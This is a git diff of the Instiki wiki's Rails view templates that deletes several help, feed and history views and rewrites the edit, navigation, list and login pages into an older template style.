-\newtheorem{lemma}{Lemma}
-\newtheorem{prop}{Proposition}
-\newtheorem{cor}{Corollary}
-\newtheorem*{utheorem}{Theorem}
-\newtheorem*{ulemma}{Lemma}
-\newtheorem*{uprop}{Proposition}
-\newtheorem*{ucor}{Corollary}
-\theoremstyle{definition}
-\newtheorem{defn}{Definition}
-\newtheorem{example}{Example}
-\newtheorem*{udefn}{Definition}
-\newtheorem*{uexample}{Example}
-\theoremstyle{remark}
-\newtheorem{remark}{Remark}
-\newtheorem{note}{Note}
-\newtheorem*{uremark}{Remark}
-\newtheorem*{unote}{Note}
-
-%-------------------------------------------------------------------
-
-\begin{document}
-
-%-------------------------------------------------------------------
-
-<%= @content_for_layout %>
-
-\end{document}
diff --git a/app/views/markdownMML_help.rhtml b/app/views/markdownMML_help.rhtml
deleted file mode 100644
index 809534fd..00000000
--- a/app/views/markdownMML_help.rhtml
+++ /dev/null
@@ -1,3 +0,0 @@
-<h3>Markdown+itex2MML formatting tips (<a target="_new" href="http://daringfireball.net/projects/markdown/syntax">basics</a>, <a target="_new" href="http://michelf.com/projects/php-markdown/extra/">extended syntax</a>, <a target="_new" href="http://maruku.rubyforge.org/proposal.html">metadata</a>, <a target="_new" href="http://golem.ph.utexas.edu/instiki/show/Theorems">theorems</a>)</h3>
-<p>For a complete list of LaTeX commands supported here, see the <a href="http://golem.ph.utexas.edu/~distler/blog/itex2MMLcommands.html">itex2MML Commands Summary</a>.</p>
-<%= render(:file => "markdown_table") -%>
\ No newline at end of file
diff --git a/app/views/markdownPNG_help.html.erb b/app/views/markdownPNG_help.html.erb
deleted file mode 100644
index 18c1ca6a..00000000
--- a/app/views/markdownPNG_help.html.erb
+++ /dev/null
@@ -1,3 +0,0 @@
-<h3>Markdown+blahtex/PNG formatting tips (<a target="_new" href="http://daringfireball.net/projects/markdown/syntax">basics</a>, <a target="_new" href="http://michelf.com/projects/php-markdown/extra/">extended syntax</a>, <a target="_new" href="http://maruku.rubyforge.org/proposal.html">metadata</a>)</h3>
-<p>For a list of the LaTeX commands supported here, see the <a href="http://www.blahtex.org/manual.html">BlahTeX manual</a>.</p>
-<%= render(:file => "markdown_table") -%>
diff --git a/app/views/markdown_help.rhtml b/app/views/markdown_help.rhtml
index a896b42e..067be08d 100644
--- a/app/views/markdown_help.rhtml
+++ b/app/views/markdown_help.rhtml
@@ -1,2 +1,12 @@
-<h3>Markdown formatting tips (<a target="_new" href="http://daringfireball.net/projects/markdown/syntax">basics</a>, <a target="_new" href="http://michelf.com/projects/php-markdown/extra/">extended syntax</a>, <a target="_new" href="http://maruku.rubyforge.org/proposal.html">metadata</a>)</h3>
-<%= render(:file => "markdown_table") -%>
+<h3>Markdown formatting tips (<a target="_new" href="http://daringfireball.net/projects/markdown/syntax">advanced</a>)</h3>
+<table cellspacing="0" cellpadding="0">
+  <tr><td>_your text_</td><td class="arrow">&rarr;</td><td><em>your text</em></td></tr>
+  <tr><td>**your text**</td><td class="arrow">&rarr;</td><td><strong>your text</strong></td></tr>
+  <tr><td>`my code`</td><td class="arrow">&rarr;</td><td><code>my code</code></td></tr>
+  <tr><td>* Bulleted list<br />* Second item</td><td class="arrow">&rarr;</td><td>&#8226; Bulleted list<br />&#8226; Second item</td></tr>
+  <tr><td>1. Numbered list<br />1. Second item</td><td class="arrow">&rarr;</td><td>1. Numbered list<br />2. Second item</td></tr>
+  <tr><td>[link name](URL)</td><td class="arrow">&rarr;</td><td><a href="URL">link name</a></td></tr>
+  <tr><td>***</td><td class="arrow">&rarr;</td><td>Horizontal ruler</td></tr>
+  <tr><td>&lt;http://url><br />&lt;email@add.com></td><td class="arrow">&rarr;</td><td>Auto-linked</td></tr>
+  <tr><td>![Alt text](URL)</td><td class="arrow">&rarr;</td><td>Image</td></tr>
+</table>
diff --git a/app/views/markdown_table.html.erb b/app/views/markdown_table.html.erb
deleted file mode 100644
index 0837deb9..00000000
--- a/app/views/markdown_table.html.erb
+++ /dev/null
@@ -1,17 +0,0 @@
-<table cellspacing="0" cellpadding="0">
-  <tr><td>_your text_</td><td class="arrow">&#x2192;</td><td><em>your text</em></td></tr>
-  <tr><td>**your text**</td><td class="arrow">&#x2192;</td><td><strong>your text</strong></td></tr>
-  <tr><td>`my code`</td><td class="arrow">&#x2192;</td><td><code>my code</code></td></tr>
-  <tr><td>* Bulleted list<br />* Second item</td><td class="arrow">&#x2192;</td><td>&#8226; Bulleted list<br />&#8226; Second item</td></tr>
-  <tr><td>1. Numbered list<br />1. Second item</td><td class="arrow">&#x2192;</td><td>1. Numbered list<br />2. Second item</td></tr>
-  <tr><td>Definition list<br />: is useful</td><td class="arrow">&#x2192;</td><td><dl style="display:inline"><dt>Definition list</dt><dd>is useful</dd></dl></td></tr>
-  <tr><td>[link name](URL)</td><td class="arrow">&#x2192;</td><td><a href="URL">link name</a></td></tr>
-  <tr><td>![Alt text](URL)</td><td class="arrow">&#x2192;</td><td>Image</td></tr>
-  <tr><td>## Header ##<br />### Subheader ###<br />#### Subsubhead####<br/>##### Etc. #####</td><td class="arrow">&#x2192;</td>
-      <td><b><span style="font-size:1.73em">Header</span>
-          <br/><span style="font-size:1.44em">Subheader</span><br/><span style="font-size:1.2em">Subsubhead</span>
-          <br/><span style="font-size:1em">Etc.</span></b></td></tr>
-  <tr><td>***</td><td class="arrow">&#x2192;</td><td>Horizontal rule</td></tr>
-  <tr><td>Some text[^fine] here.<br/>[^fine]: The fine print.</td><td class="arrow">&#x2192;</td><td>A footnote</td></tr>
-  <tr><td>*[LA]: Los Angeles<br/>*[ppm]: parts per million</td><td class="arrow">&#x2192;</td><td>Abbreviations</td></tr>
-</table>
diff --git a/app/views/mixed_help.rhtml b/app/views/mixed_help.rhtml
index ee05dfcc..58503f54 100644
--- a/app/views/mixed_help.rhtml
+++ b/app/views/mixed_help.rhtml
@@ -1,7 +1,7 @@
-<%= render(:file => 'textile_help') %>
+<%= render 'textile_help' %>
 
 <h3>Markdown</h3>
 <p>
   In addition to Textile, this wiki also understands 
   <a target="_new" href="http://daringfireball.net/projects/markdown/syntax">Markdown</a>.
-</p>
+</p>
\ No newline at end of file
diff --git a/app/views/navigation.rhtml b/app/views/navigation.rhtml
index bf4adfe6..3568f866 100644
--- a/app/views/navigation.rhtml
+++ b/app/views/navigation.rhtml
@@ -8,24 +8,25 @@ def list_item(text, link_options, description, accesskey = nil)
 end
 %>
 
-<div class="navigation">
-    <span class="skipNav"><a href='#navEnd'>Skip the Navigation Links</a> | </span>
-<%- if params['action'] != 'published' then -%>
+<%= form_tag({ :controller => 'wiki', :action => 'search', :web => @web.address},
+             {'id' => 'navigationForm', 'class' => 'navigation', 'method' => 'get'})
+%>
+
+  <% if @action_name != 'published' then %>
     <%= list_item 'Home Page', {:action => 'show', :id => 'HomePage'}, 'Home, Sweet Home', 'H' %> | 
     <%= list_item 'All Pages', {:action => 'list'}, 'Alphabetically sorted list of pages', 'A' %> | 
-    <%= list_item 'Recently Revised', {:action =>'recently_revised'}, 'Pages sorted by when they were last changed', 'U' %> |
+    <%= list_item 'Recently Revised', {:action =>'recently_revised'}, 
+                  'Pages sorted by when they were last changed', 'U' 
+    %> |
     <%= list_item 'Authors', {:action => 'authors'}, 'Who wrote what' %> | 
-    <%= list_item 'Feeds', {:action => 'feeds'}, 'Subscribe to changes by Atom' %> | 
-    <%= list_item 'Export', {:action => 'export'}, 'Download a zip with all the pages in this wiki', 'X' %> |
-    <% form_tag({ :controller => 'wiki', :action => 'search', :web => @web.address},
-                 {'id' => 'navigationSearchForm', 'method' => 'get', 'accept-charset' => 'utf-8' }) do %>
-      <fieldset class="search"><input type="text" id="searchField" name="query" value="Search"
-             onfocus="this.value == 'Search' ? this.value = '' : true"
-             onblur="this.value == '' ? this.value = 'Search' : true" /></fieldset>
-    <% end %>
-<%- else -%>
-    <%= list_item 'Home Page', {:action => 'published', :id => 'HomePage'}, 'Home, Sweet Home', 'H' %> | 
-    <%= list_item 'Feeds', {:action => 'feeds'}, 'Subscribe to changes by Atom' %>
-<% end-%>
-  <span id='navEnd'></span>
-</div>
+    <%= list_item 'Feeds', {:action => 'feeds'}, 'Subscribe to changes by RSS' %> | 
+    <%= list_item 'Export', {:action => 'export'}, 
+                  'Download a zip with all the pages in this wiki', 'X' 
+    %> |
+    <input type="text" id="searchField" name="query" style="font-size: 10px" value="Search" 
+           onfocus="if (this.value == 'Search' ) this.value = '' " />
+  <% else %>
+  	<%= list_item 'Home Page', {:action => 'published', :id => 'HomePage'}, 'Home, Sweet Home', 'H' %> | 
+  <% end%>
+
+<%= end_form_tag %>
diff --git a/app/views/svg_logo.html.erb b/app/views/svg_logo.html.erb
deleted file mode 100644
index 9d64ad27..00000000
--- a/app/views/svg_logo.html.erb
+++ /dev/null
@@ -1,10 +0,0 @@
-<span id="svg_logo"><svg version="1.1" width="100%" height="100%" viewBox='0 -1 180 198' xmlns='http://www.w3.org/2000/svg'>
-      <path id="svg_logo_path" fill="#<%= @web ? @web.color : "393" %>" stroke-width='0.5' stroke='#000' d='
-        M170,60c4,11-1,20-12,25c-9,4-25,3-20,15c5,5,15,0,24,1c11,1,21,11,14,21c-10,15-35,6-48-1c-5-3-27-23-32-10c-1,13,15,10,22,16
-        c11,4,24,14,34,20c12,10,7,25-9,23c-11-1-22-9-30-16c-5-5-13-18-21-9c-2,6,2,11,5,14c9,9,22,14,22,31c-2,8-12,8-18,4c-4-3-9-8-11-13
-        c-3-6-5-18-12-18c-14-1-5,28-18,30c-9,2-13-9-12-16c1-14,12-24,21-31c5-4,17-13,10-20c-9-10-19,12-23,16c-7,7-17,16-31,15
-        c-9-1-18-9-11-17c5-7,14-4,23-6c6-1,15-8,8-15c-5-6-57,2-42-24c7-12,51,4,61,6c6,1,17,4,18-4c2-11-12-7-21-8c-21-2-49-14-49-34
-        c0-5,3-11,8-11C31,42,34,65,42,67c6,1,9-3,8-9C49,49,38,40,40,25c1-5,4-15,13-14c10,2,11,18,13,29c1,8,0,24,7,28c15,0,5-22,4-30
-        C74,23,78,7,87,1c8-4,14,1,16,9c2,11-8,21-2,30c8,2,11-6,14-12c9-14,36-18,30,5c-3,9-12,19-21,24c-6,4-22,10-23,19c-2,14,15,2,18-2
-        c9-9,20-18,33-22C159,52,166,54,170,60' />
-    </svg></span>
\ No newline at end of file
diff --git a/app/views/textile_help.rhtml b/app/views/textile_help.rhtml
index e0bf82a4..3d8400b3 100644
--- a/app/views/textile_help.rhtml
+++ b/app/views/textile_help.rhtml
@@ -1,19 +1,20 @@
-<h3>Textile formatting tips (<a href="http://redcloth.org/hobix.com/textile/quick.html" onclick="quickRedReference(); return false;">advanced</a>)</h3>
+<h3>Textile formatting tips (<a href="http://hobix.com/textile/quick.html" onClick="quickRedReference(); return false;">advanced</a>)</h3>
 <table cellspacing="0" cellpadding="0">
   <tr><td>_your text_</td><td class="arrow">&rarr;</td><td><em>your text</em></td></tr>
   <tr><td>*your text*</td><td class="arrow">&rarr;</td><td><strong>your text</strong></td></tr>
-  <tr><td style="padding-right:0.75em">%{color:red}hello%</td><td class="arrow">&rarr;</td><td><span style="color: red;">hello</span></td></tr>
+  <tr><td>%{color:red}hello%</td><td class="arrow">&rarr;</td><td><span style="color: red;">hello</span></td></tr>
   <tr><td>* Bulleted list<br />* Second item</td><td class="arrow">&rarr;</td><td>&#8226; Bulleted list<br />&#8226; Second item</td></tr>
   <tr><td># Numbered list<br /># Second item</td><td class="arrow">&rarr;</td><td>1. Numbered list<br />2. Second item</td></tr>
   <tr><td>"linkname":URL</td><td class="arrow">&rarr;</td><td><a href="URL">linkname</a></td></tr>
   <tr><td>|a|table|row|<br />|b|table|row|</td><td class="arrow">&rarr;</td><td>Table</td></tr>
+  <tr><td>http://url<br />email@address.com</td><td class="arrow">&rarr;</td><td>Auto-linked</td></tr>
   <tr><td>!imageURL!</td><td class="arrow">&rarr;</td><td>Image</td></tr>
 </table>
     
 <script language="JavaScript">
   function quickRedReference() {
     window.open( 
-      "http://redcloth.org/hobix.com/textile/quick.html",
+      "http://hobix.com/textile/quick.html",
       "redRef",
       "height=600,width=550,channelmode=0,dependent=0," +
       "directories=0,fullscreen=0,location=0,menubar=0," +
diff --git a/app/views/wiki/_inbound_links.rhtml b/app/views/wiki/_inbound_links.rhtml
deleted file mode 100644
index c2de7f68..00000000
--- a/app/views/wiki/_inbound_links.rhtml
+++ /dev/null
@@ -1,13 +0,0 @@
-<%- unless @page.linked_from.empty? -%>
-  <span class="linked">
-    | Linked from: 
-    <%= @page.linked_from.collect { |referring_page| link_to_existing_page referring_page }.join(", ").html_safe %>
-  </span>
-<%- end -%>
-
-<%- unless @page.included_from.empty? -%>
-  <span class="linked">
-    | Included from: 
-    <%= @page.included_from.collect { |referring_page| link_to_existing_page referring_page }.join(", ").html_safe %>
-  </span>
-<%- end -%>
diff --git a/app/views/wiki/atom.rxml b/app/views/wiki/atom.rxml
deleted file mode 100644
index 6ed14a2e..00000000
--- a/app/views/wiki/atom.rxml
+++ /dev/null
@@ -1,31 +0,0 @@
-xml.feed('xmlns' => "http://www.w3.org/2005/Atom", "xml:lang" => 'en') do
-  xml.title(@web.name)
-  xml.link( 'rel' => 'alternate', 'type' => "application/xhtml+xml", 'href' =>  url_for(:only_path => false, :web => @web_name, :action => @link_action, :id => 'HomePage') )
-  xml.link( 'rel' => 'self', 'href' =>  url_for(:only_path => false, :web => @web_name, :action => @hide_description? :atom_with_headlines : :atom_with_content ) )
-  xml.updated(@web.revised_at.getgm.strftime("%Y-%m-%dT%H:%M:%SZ") )
-  xml.id('tag:' + url_for(:only_path => false, :web => @web_name).split('/')[2].split(':')[0] + ',' + @web.created_at.getgm.strftime("%Y-%m-%d") + ':' + CGI.escape(@web.name)  )
-  xml.subtitle('An Instiki Wiki')
-  xml.generator('Instiki', 'uri' => "http://golem.ph.utexas.edu/instiki/show/HomePage", 'version' => Instiki::VERSION::STRING)
-
-  for page in @pages_by_revision
-    xml.entry do
-     xml.title(page.plain_name, 'type' => "html")
-      xml.link('rel' => 'alternate', 'type' => 'application/xhtml+xml', 'href' => url_for(:only_path => false, :web => @web_name, :action => @link_action, :id => page.name) )
-      xml.updated(page.revised_at.getgm.strftime("%Y-%m-%dT%H:%M:%SZ") )
-      xml.published(page.created_at.getgm.strftime("%Y-%m-%dT%H:%M:%SZ") )
-      xml.id('tag:' +url_for(:only_path => false, :web => @web_name).split('/')[2].split(':')[0]  + ',' + page.created_at.getgm.strftime("%Y-%m-%d") + ":"  + @web.name + ',' + CGI.escape(page.name)) 
-      xml.author do
-        xml.name(page.author)
-      end
-      if @hide_description
-        xml.summary("Updated by #{page.author} on #{page.revised_at.getgm.strftime("%Y-%m-%d")} at #{page.revised_at.getgm.strftime("%H:%M:%SZ")}.", 'type' => 'text')
-      else
-        xml.content('type' => 'xhtml', 'xml:base' => url_for(:only_path => false, :web => @web_name, :action => @link_action, :id => page.name) ) do
-          xml.div('xmlns' => 'http://www.w3.org/1999/xhtml' ) do
-            |x| x << rendered_content(page)
-          end
-        end
-      end
-    end
-  end
-end
diff --git a/app/views/wiki/authors.rhtml b/app/views/wiki/authors.rhtml
index 4672fbbd..97eb5c9d 100644
--- a/app/views/wiki/authors.rhtml
+++ b/app/views/wiki/authors.rhtml
@@ -1,11 +1,11 @@
-<%- @title = 'Authors' -%>
+<% @title = 'Authors' %>
 
 <ul id="authorList">
-  <%- for author in @authors -%>
+  <% for author in @authors %>
     <li>
-      <%= link_to_page author.purify %>
+      <%= link_to_page author %>
       co- or authored:
-      <%= raw @page_names_by_author[author].collect { |page_name| link_to_page(page_name) }.sort.join ', ' %>
+      <%= @web.select.pages_authored_by(author).collect { |page| link_to_page(page.name) }.sort.join ', ' %>
     </li>
-  <%- end -%>
+  <% end %>
 </ul>
diff --git a/app/views/wiki/edit.rhtml b/app/views/wiki/edit.rhtml
index 711bfcdb..cdf3d5d1 100644
--- a/app/views/wiki/edit.rhtml
+++ b/app/views/wiki/edit.rhtml
@@ -1,79 +1,37 @@
-<%- 
-  @title = "Editing #{@page.name.escapeHTML}".html_safe
+<% 
+  @title = "Editing #{@page.name}"
   @content_width = 720
   @hide_navigation = true
--%>
+%>
 
-<div id="MarkupHelp">
-<%= render(:file => "#{@web.markup}_help") -%>
-<%= render(:file => 'wiki_words_help') unless @web.brackets_only? -%>
+<div id="MarkupHelp" style="float: right; width: 250px; margin-top: 5px">
+  <%= render("#{@web.markup}_help") %>
+  <%= render 'wiki_words_help' %>
 </div>
 
-	<% form_tag({ :action => 'save', :web => @web.address, :id => @page.name },
-	             { 'id' => 'editForm', 'method' => 'post', 'onsubmit' => 'cleanAuthorName()',
-	               'accept-charset' => 'utf-8' }) do %>
-	   <div>	
-		<textarea name="content" id="content" rows="24" cols="60"><%= h(flash[:content] || 
-                         (params['content'] ?  params['content'] : @page.content).purify) %></textarea>
-<% if @page_name != 'HomePage' -%>
-	   <p>
-	      <%= check_box_tag :alter_title, value = "1", checked=false,
-	         'onchange' => "toggleVisibility();" %> <label for="alter_title">Change page name.</label><br/>
-	      <span id="title_change" style="display:none"><label for="new_name">New name:</label> <%= text_field_tag :new_name, h(@page.name.purify),
-			        :onblur => "addRedirect();"  %></span>
-	   </p>
-<% else -%>
-       <%= hidden_field_tag 'new_name', @page_name %>
-<% end%> 
-		<div id="editFormButtons">
-			<input type="submit" value="Submit" accesskey="s"/> as 
-			<%= text_field_tag :author, h(@author.purify), 
-			        :onfocus => "this.value == 'AnonymousCoward' ? this.value = '' : true;",
-			        :onblur  => "this.value == '' ? this.value = 'AnonymousCoward' : true" %>
-			| 
-			<span>
-				<%= link_to('Cancel', {:web => @web.address, :action => 'cancel_edit', :id => @page.name},
-				      {:accesskey => 'c'}) %> 
-                <span class="unlock">(unlocks page)</span>
-			</span>
-		</div>
-	   </div>
-	<%- end -%>
+<%= form_tag({ :action => 'save', :web => @web.address, :id => @page.name},
+             {'id' => 'editForm', 'method' => 'post', 'onSubmit' => 'cleanAuthorName()'})
+%>
 
-<script type="text/javascript">
-<!--//--><![CDATA[//><!--
-function toggleVisibility() {
-  var span = document.getElementById('title_change');
-  if (span.style.display =='inline') {
-     span.style.display ='none';
-     document.getElementById('new_name').value = "<%= escape_javascript(@page.name) %>";
-     var content = document.getElementById('content').value
-     document.getElementById('content').value = content.replace(/\[\[!redirects <%= Regexp.escape(@page.name).gsub('/', '\\/') %>\]\]\n/, '')
-     }
-  else
-     span.style.display ='inline'
-}
-
-function addRedirect(){
-  var e = document.getElementById('new_name').value;
-  if ( e != "<%= escape_javascript(@page.name) %>" && e != '') {
-    var content = document.getElementById('content');
-    content.value = '[[!redirects <%= escape_javascript(@page.name) %>]]\n' + content.value
-    }
-}
+<p>
+    <textarea name="content" style="width: 450px; height: 500px"><%= h(@flash[:content] || @page.content) %></textarea>
+</p>
+<p>
+    <input type="submit" value="Submit" accesskey="s"/> as 
+    <input type="text" name="author" id="authorName" value="<%= @author %>" 
+        onClick="this.value == 'AnonymousCoward' ? this.value = '' : true" />
+    | 
+    <%= link_to('Cancel', {:web => @web.address, :action => 'cancel_edit', :id => @page.name},
+          {:accesskey => 'c'})
+    %>
+    <small>(unlocks page)</small>
+</p>
+<%= end_form_tag %>
 
+<script language="JavaScript1.2">
 function cleanAuthorName() {
   if (document.getElementById('authorName').value == "") {
     document.getElementById('authorName').value = 'AnonymousCoward';
   }
 }
-
-document.forms["editForm"].elements["content"].focus();
-<%- if [:markdownMML, :markdownPNG, :markdown].include?(@web.markup) -%>
-setupSVGedit('<%= compute_public_path("editor/svg-editor.html", "svg-edit").split(/\?/)[0] %>');
-<%- unless @page.categories.include?('S5-slideshow') -%>
-addS5button('<%= @page.name.escapeHTML %>');
-<%- end -%>
-<%- end -%>
-//--><!]]>
 </script>
diff --git a/app/views/wiki/export.rhtml b/app/views/wiki/export.rhtml
index ddf2d8a7..d8bc3f02 100644
--- a/app/views/wiki/export.rhtml
+++ b/app/views/wiki/export.rhtml
@@ -1,8 +1,12 @@
-<%- @title = "Export" -%>
+<% @title = "Export" %>
 
 <p>You can export all the pages in this web as a zip file in either HTML (with working links and all) or the pure markup (to import in another wiki).</p> 
 
 <ul id="feedsList">
   <li><%= link_to 'HTML', :web => @web.address, :action => 'export_html' %></li>
   <li><%= link_to "Markup (#{@web.markup.to_s.capitalize})", :web => @web.address, :action => 'export_markup' %></li>
+<% if OPTIONS[:pdflatex] && @web.markup == :textile %>
+  <li><%= link_to 'TeX', :web => @web.address, :action => 'export_tex' %></li>
+  <li><%= link_to 'PDF', :web => @web.address, :action => 'export_pdf' %></li>
+<% end %>
 </ul>
diff --git a/app/views/wiki/feeds.rhtml b/app/views/wiki/feeds.rhtml
index a50eb2fc..389d6983 100644
--- a/app/views/wiki/feeds.rhtml
+++ b/app/views/wiki/feeds.rhtml
@@ -1,14 +1,14 @@
-<%- @title = "Feeds" -%>
+<% @title = "Feeds" %>
 
-<p>You can subscribe to this wiki's Atom feed and get either just the headlines of the pages that change or the entire page.</p> 
+<p>You can subscribe to this wiki by RSS and get either just the headlines of the pages that change or the entire page.</p> 
 
 <ul id="feedsList">
- <%- if @rss_with_content_allowed -%>
   <li>
-      <%= link_to 'Full content (Atom 1.0)', :web => @web.address, :action => :atom_with_content %>
+    <% if @rss_with_content_allowed %>
+      <%= link_to 'Full content (RSS 2.0)', :web => @web.address, :action => :rss_with_content %>
+    <% end %>
   </li>
- <%- end -%>
   <li>
-    <%= link_to 'Headlines (Atom 1.0)', :web => @web.address, :action => :atom_with_headlines %>
+    <%= link_to 'Headlines (RSS 2.0)', :web => @web.address, :action => :rss_with_headlines %>
   </li>
 </ul>
diff --git a/app/views/wiki/file_list.html.erb b/app/views/wiki/file_list.html.erb
deleted file mode 100644
index ef66cf38..00000000
--- a/app/views/wiki/file_list.html.erb
+++ /dev/null
@@ -1,32 +0,0 @@
-<%- @title = "Uploaded Files" -%>
-
-<% form_tag({ :controller => 'admin', :action => 'delete_files', :web => @web.address },
-             {'method' => 'post', 'accept-charset' => 'utf-8' }) do
-%>
-<div id="allFiles">
-  <h2>
-    Uploaded Files in <%= @web.name %>
-  </h2>
-
-<%- if @file_list.empty? -%>
-  <p>No uploaded files in this Web</p>
-<%- else -%>
-  <p>Check the files you wish to delete (<%= link_to "sort by #{@alt_sort_name}", :controller => 'wiki',
-      :web => @web.address, :action => 'file_list', :sort_order => @alt_sort_order %>).</p>
-  <ul style="list-style-type:none">
-  <%- for file in @file_list -%>
-    <li>
-      <input type="checkbox" name="<%= file.file_name %>" value="delete"/>
-      <a href="<%= url_for :web => @web.address, :action => 'files', 
-            :id => file.file_name %>"><%= file.file_name%></a> (<%= file.created_at.asctime %>) <span class="linked"><%= "Linked to by: " unless
-            @web.pages_that_link_to_file(file.file_name).empty? -%>
-            <%= @web.pages_that_link_to_file(file.file_name).collect { |referring_page|  link_to_page(referring_page) }.join(", ").html_safe %></span>
-    </li>
-  <%- end -%>
-  </ul>
-  <label for="system_password">Enter system password</label>
-  <%= password_field_tag "system_password", '', :class => "disableAutoComplete" %>
-    and <%= submit_tag("Delete Files") %>
-<%- end -%>
-</div>
-<%- end -%>
\ No newline at end of file
diff --git a/app/views/wiki/history.html.erb b/app/views/wiki/history.html.erb
deleted file mode 100644
index 1e841987..00000000
--- a/app/views/wiki/history.html.erb
+++ /dev/null
@@ -1,28 +0,0 @@
-<%- @title = @page.plain_name + " (history)".html_safe -%>
-<%- @show_footer = true -%>
-
-<%- @revisions_by_day.keys.sort.reverse.each do |day| -%>
-  <h3><%= format_date(day, include_time = false) %></h3>
-  <ul>
-  <%- for rev in @revisions_by_day[day] -%>
-    <li>
-      <%= link_to_revision(rev.page, @revision_numbers[rev.id],
-          text= (rev.page.rev_ids.size == @revision_numbers[rev.id] ?
-              "Current" :
-              "Revision #{@revision_numbers[rev.id]}" )
-              ) %>
-      <%- if @revision_numbers[rev.id] > 1 -%>
-          <span class="hist_views">
-          (<%= link_to_revision(rev.page, @revision_numbers[rev.id],
-              text="diff", mode='diff') %>)
-          </span>
-      <%- end -%>
-      <div class="byline" style="margin-bottom: 0px">
-        by <%= link_to_page(rev.author) %>
-        at <%= format_date(rev.revised_at) %>
-        <%= "from #{rev.author.ip}" if rev.author.respond_to?(:ip) %>
-      </div>
-    </li>
-  <%- end -%>
-  </ul>
-<%- end -%>
diff --git a/app/views/wiki/list.rhtml b/app/views/wiki/list.rhtml
index ff386788..34a93798 100644
--- a/app/views/wiki/list.rhtml
+++ b/app/views/wiki/list.rhtml
@@ -1,90 +1,64 @@
-<%- @title = "All Pages" -%>
+<% @title = "All Pages" %>
 
 <%= categories_menu unless @categories.empty? %>
 
-<div id="allPages">
-<%- unless @pages_that_are_orphaned.empty? && @page_names_that_are_wanted.empty? -%>
+<div id="allPages" style="float: left; width: 280px; margin-right: 30px">
+<% unless @pages_that_are_orphaned.empty? && @page_names_that_are_wanted.empty? %>
   <h2>
     All Pages
-    <br/><span class="pageType">All pages in <%= raw @set_name %> listed alphabetically</span>
+    <br/><small style="font-size: 12px"><i>All pages in <%= @set_name %> listed alphabetically</i></small>
   </h2>
-<%- end -%>
+<% end %>
 
-<% if [:markdownMML, :markdownPNG, :markdown].include?(@web.markup) -%>
-<% form_tag({ :controller => 'wiki', :action => 'tex_list', :web => @web.address },
-             {'method' => 'post', 'accept-charset' => 'utf-8' }) do
-%>
-<div>
-<% if params['category'] -%>
-<input type="hidden" name="category" value="<%= params['category'] %>"/>
-<%- end -%>
-<ul id="sortable_pages">
-  <% @pages_in_category.each do |page| %>
-    <% content_tag_for :li, page do %>
-    
-      <input type="checkbox" name="<%= page.name %>" value="tex"/>       
-      <%= link_to_existing_page page, truncate(page.plain_name, :length => 35) %>
-    <% end %>
-
-  <% end %>
-</ul>
-<%= sortable_element('sortable_pages', {:onUpdate => 'function(){}'}) %>
-<label for="commit"> Export selected pages (drag to re-order them) to a LaTeX file.</label>
-<%= submit_tag("Export") %>
-</div>
-<%- end -%>
-<%- else -%>
 <ul>
-  <%- @pages_in_category.each do |page| -%>
+  <% @pages_by_name.each do |page| %>
     <li>
-      <%= link_to_existing_page page, truncate(page.plain_name, :length => 35) %>
+      <%= link_to_existing_page page, truncate(page.plain_name, 35) %>
     </li>
-  <%- end -%>
-</ul>
-<%- end -%>
+<% end %></ul>
 
-<%- if @web.count_pages? -%>
+<% if @web.count_pages %>
   <% total_chars = @pages_in_category.characters %>
-  <p class="pageStats">All content: <%= total_chars %> chars / approx. <%= sprintf("%-.1f", (total_chars / 2275 )) %> printed pages</p>
-<%- end -%>
+  <p><small>All content: <%= total_chars %> chars / <%= sprintf("%-.1f", (total_chars / 2275 )) %> pages</small></p>
+<% end %>
 </div>
 
-<div id="wantedPages">
-<%- unless @page_names_that_are_wanted.empty? -%>
+<div style="float: left; width: 280px">
+<% unless @page_names_that_are_wanted.empty? %>
   <h2>
     Wanted Pages
     <br/>
-    <span class="pageType">
-      Nonexistent pages that other pages in <%= raw @set_name %> reference
-    </span>
+    <small style="font-size: 12px">
+      <i>Unexisting pages that other pages in <%= @set_name %> reference</i>
+    </small>
   </h2>
 
   <ul style="margin-bottom: 10px">
-  <%- @page_names_that_are_wanted.each do |wanted_page_name| -%>
+  <% @page_names_that_are_wanted.each do |wanted_page_name| %>
     <li>
-      <%= link_to_page(wanted_page_name, @web, truncate(WikiWords.separate(wanted_page_name), :length => 35)) %>
+      <%= link_to_page(wanted_page_name, @web, truncate(WikiWords.separate(wanted_page_name), 35)) %>
       wanted by
       <%= @web.select.pages_that_reference(wanted_page_name).collect { |referring_page|            
             link_to_existing_page referring_page
-          }.join(", ").html_safe 
+          }.join(", ") 
       %>
     </li>
-  <%- end -%>
+  <% end %>
   </ul>
-<%- end -%>
+<% end %>
 
-<%- unless @pages_that_are_orphaned.empty? -%>
+<% unless @pages_that_are_orphaned.empty? %>
   <h2>
     Orphaned Pages
-    <br/><span class="pageType">Pages in <%= raw @set_name %> that no other page reference</span>
+    <br/><small style="font-size: 12px"><i>Pages in <%= @set_name %> that no other page reference</i></small>
   </h2>
 
   <ul style="margin-bottom: 35px">
-    <%- @pages_that_are_orphaned.each do |orphan_page| -%>
+    <% @pages_that_are_orphaned.each do |orphan_page| %>
       <li>
-        <%= link_to_existing_page orphan_page, truncate(orphan_page.plain_name, :length => 35) %>
+        <%= link_to_existing_page orphan_page, truncate(orphan_page.plain_name, 35) %>
       </li>
-    <%- end -%>
+    <% end %>
   </ul>
-<%- end -%>
+<% end %>
 </div>
diff --git a/app/views/wiki/locked.rhtml b/app/views/wiki/locked.rhtml
index ad36807d..ee0cf814 100644
--- a/app/views/wiki/locked.rhtml
+++ b/app/views/wiki/locked.rhtml
@@ -1,12 +1,12 @@
-<%- @title = "#{@page.plain_name} is locked".html_safe -%>
+<% @title = "#{@page.plain_name} is locked" %>
 
 <p>
-  <%= link_to_page(h(@page.locked_by.purify)) %>
-  <%- if @page.lock_duration(Time.now) == 0 -%>
+  <%= link_to_page(@page.locked_by) %>
+  <% if @page.lock_duration(Time.now) == 0 %>
     just started editing this page.
-  <%- else -%>
+  <% else %>
     has been editing this page for <%= @page.lock_duration(Time.now) %> minutes.
-  <%- end -%>
+  <% end %>
 </p>
 
 <p>
diff --git a/app/views/wiki/login.rhtml b/app/views/wiki/login.rhtml
index 6fce55fb..f8eb99de 100644
--- a/app/views/wiki/login.rhtml
+++ b/app/views/wiki/login.rhtml
@@ -1,20 +1,14 @@
-<%- @title = "#{@web_name} Login" %><% @hide_navigation = true -%>
+<% @title = "#{@web_name} Login" %><% @hide_navigation = true %>
 
-<% form_tag({ :controller => 'wiki', :action => 'authenticate', :web => @web.address},
-    { 'id' => 'loginForm', 'method' => 'post', 'accept-charset' => 'utf-8' }) do %>
-    <p>
